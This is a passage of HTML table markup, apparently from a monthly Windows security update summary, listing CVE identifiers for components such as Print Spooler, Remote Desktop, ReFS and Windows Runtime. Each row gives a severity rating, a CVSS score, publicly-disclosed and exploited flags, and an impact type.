  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50686"><span>CVE-2026-50686</span></a></td>
  <td width="256" class="xl74">Windows OLE Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50335"><span>CVE-2026-50335</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50317"><span>CVE-2026-50317</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54987"><span>CVE-2026-54987</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50435"><span>CVE-2026-50435</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50409"><span>CVE-2026-50409</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40400"><span>CVE-2026-40400</span></a></td>
  <td width="256" class="xl74">Windows PowerShell
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49166"><span>CVE-2026-49166</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55004"><span>CVE-2026-55004</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50499"><span>CVE-2026-50499</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50383"><span>CVE-2026-50383</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57085"><span>CVE-2026-57085</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50469"><span>CVE-2026-50469</span></a></td>
  <td width="256" class="xl74">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50434"><span>CVE-2026-50434</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50339"><span>CVE-2026-50339</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50430"><span>CVE-2026-50430</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50334"><span>CVE-2026-50334</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44800"><span>CVE-2026-44800</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50363"><span>CVE-2026-50363</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50431"><span>CVE-2026-50431</span></a></td>
  <td width="256" class="xl74">Windows Quality of
  Service (QoS) Packet Scheduler Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50372"><span>CVE-2026-50372</span></a></td>
  <td width="256" class="xl74">Windows Redirected
  Drive Buffering System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50666"><span>CVE-2026-50666</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56647"><span>CVE-2026-56647</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Service Infrastructure Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50330"><span>CVE-2026-50330</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50376"><span>CVE-2026-50376</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50504"><span>CVE-2026-50504</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58533"><span>CVE-2026-58533</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58535"><span>CVE-2026-58535</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58546"><span>CVE-2026-58546</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58539"><span>CVE-2026-58539</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55003"><span>CVE-2026-55003</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57979"><span>CVE-2026-57979</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50445"><span>CVE-2026-50445</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50497"><span>CVE-2026-50497</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54126"><span>CVE-2026-54126</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57982"><span>CVE-2026-57982</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50369"><span>CVE-2026-50369</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58626"><span>CVE-2026-58626</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55014"><span>CVE-2026-55014</span></a></td>
  <td width="256" class="xl74">Windows Remote Help
  Defense Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50318"><span>CVE-2026-50318</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50407"><span>CVE-2026-50407</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50357"><span>CVE-2026-50357</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50441"><span>CVE-2026-50441</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50668"><span>CVE-2026-50668</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54109"><span>CVE-2026-54109</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49792"><span>CVE-2026-49792</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49793"><span>CVE-2026-49793</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50362"><span>CVE-2026-50362</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50492"><span>CVE-2026-50492</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50501"><span>CVE-2026-50501</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58530"><span>CVE-2026-58530</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49791"><span>CVE-2026-49791</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50451"><span>CVE-2026-50451</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57096"><span>CVE-2026-57096</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50323"><span>CVE-2026-50323</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50452"><span>CVE-2026-50452</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50348"><span>CVE-2026-50348</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50345"><span>CVE-2026-50345</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50322"><span>CVE-2026-50322</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50340"><span>CVE-2026-50340</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50410"><span>CVE-2026-50410</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50449"><span>CVE-2026-50449</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50460"><span>CVE-2026-50460</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50403"><span>CVE-2026-50403</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50385"><span>CVE-2026-50385</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50413"><span>CVE-2026-50413</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50457"><span>CVE-2026-50457</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50486"><span>CVE-2026-50486</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50503"><span>CVE-2026-50503</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54125"><span>CVE-2026-54125</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58527"><span>CVE-2026-58527</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50373"><span>CVE-2026-50373</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50679"><span>CVE-2026-50679</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
